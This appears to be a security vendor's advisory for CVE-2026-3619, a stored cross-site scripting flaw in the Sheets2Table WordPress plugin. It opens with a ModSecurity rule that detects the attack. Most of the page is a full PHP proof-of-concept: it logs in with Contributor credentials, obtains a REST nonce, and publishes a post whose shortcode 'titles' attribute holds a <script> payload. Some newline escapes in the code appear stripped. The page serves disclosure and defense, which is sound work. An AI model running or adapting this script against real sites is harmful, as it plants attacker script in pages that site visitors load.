CVE-2026-3619: Sheets2Table <= 0.4.1 Authenticated (Contributor+) Stored Cross-Site Scripting via 'titles' Shortcode Attribute PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2026-3619 (metadata-based)
# This rule blocks exploitation attempts targeting the Sheets2Table plugin's shortcode handler
# The rule matches posts containing the vulnerable shortcode with malicious 'titles' attributes
SecRule REQUEST_METHOD "@streq POST" 
  "id:1003619,phase:2,deny,status:403,chain,msg:'CVE-2026-3619: Sheets2Table Stored XSS via titles attribute',severity:'CRITICAL',tag:'CVE-2026-3619',tag:'WordPress',tag:'Plugin:sheets2table',tag:'Attack/XSS'"
  SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/(posts|pages)" 
    "chain"
    SecRule REQUEST_BODY "@rx \[sheets2table-render-table[^\]]*titles\s*=\s*[\"\'][^\"\']*[<>\(\[].*?[\"\']" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3619 - Sheets2Table <= 0.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'titles' Shortcode Attribute

<?php
/**
 * Proof of Concept for CVE-2026-3619
 * Assumptions:
 * 1. Target WordPress site has Sheets2Table plugin <= 0.4.1 installed
 * 2. Attacker has valid Contributor-level credentials
 * 3. WordPress uses standard admin-ajax.php and REST API endpoints
 * 4. The plugin's shortcode handler processes 'titles' attribute as described
 */

$target_url = 'https://target-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_pass'; // CONFIGURE THIS

// Step 1: Authenticate and obtain nonce for post creation
function authenticate_and_get_nonce($base_url, $user, $pass) {
    $login_url = $base_url . '/wp-login.php';
    $admin_url = $base_url . '/wp-admin/';
    
    // Create temporary cookie file
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
    
    // Initialize session
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $user,
            'pwd' => $pass,
            'wp-submit' => 'Log In',
            'redirect_to' => $admin_url,
            'testcookie' => '1'
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded'
        ]
    ]);
    $response = curl_exec($ch);
    
    // Get REST API nonce for post creation
    $nonce_url = $base_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
    curl_setopt_array($ch, [
        CURLOPT_URL => $nonce_url,
        CURLOPT_POST => false
    ]);
    $nonce_response = curl_exec($ch);
    curl_close($ch);
    
    // Extract nonce from response (simplified - actual implementation may vary)
    preg_match('/"nonce":"([a-f0-9]+)"/', $nonce_response, $matches);
    $nonce = $matches[1] ?? '';
    
    return ['cookies' => $cookie_file, 'nonce' => $nonce];
}

// Step 2: Create post with malicious shortcode
function create_malicious_post($base_url, $auth_data) {
    $create_url = $base_url . '/wp-json/wp/v2/posts';
    
    // XSS payload in 'titles' attribute
    $payload = '<script>alert(`Atomic Edge Research: XSS via ${document.domain}`)</script>';
    $shortcode = '[sheets2table-render-table titles="' . $payload . '"]';
    
    $ch = curl_init($create_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $auth_data['cookies'],
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => json_encode([
            'title' => 'Test Post - CVE-2026-3619',
            'content' => 'This post contains the malicious shortcode: ' . $shortcode,
            'status' => 'publish'
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WP-Nonce: ' . $auth_data['nonce']
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code === 201) {
        $response_data = json_decode($response, true);
        return $response_data['link'] ?? '';
    }
    
    return false;
}

// Execute PoC
$auth = authenticate_and_get_nonce($target_url, $username, $password);

if (empty($auth['nonce'])) {
    echo "Authentication failed or nonce not obtainedn";
    exit;
}

$post_url = create_malicious_post($target_url, $auth);

if ($post_url) {
    echo "Exploit successful! Post created at: " . $post_url . "n";
    echo "Visit the page to trigger XSS payload.n";
} else {
    echo "Failed to create malicious postn";
}

// Cleanup
if (isset($auth['cookies']) && file_exists($auth['cookies'])) {
    unlink($auth['cookies']);
}
?>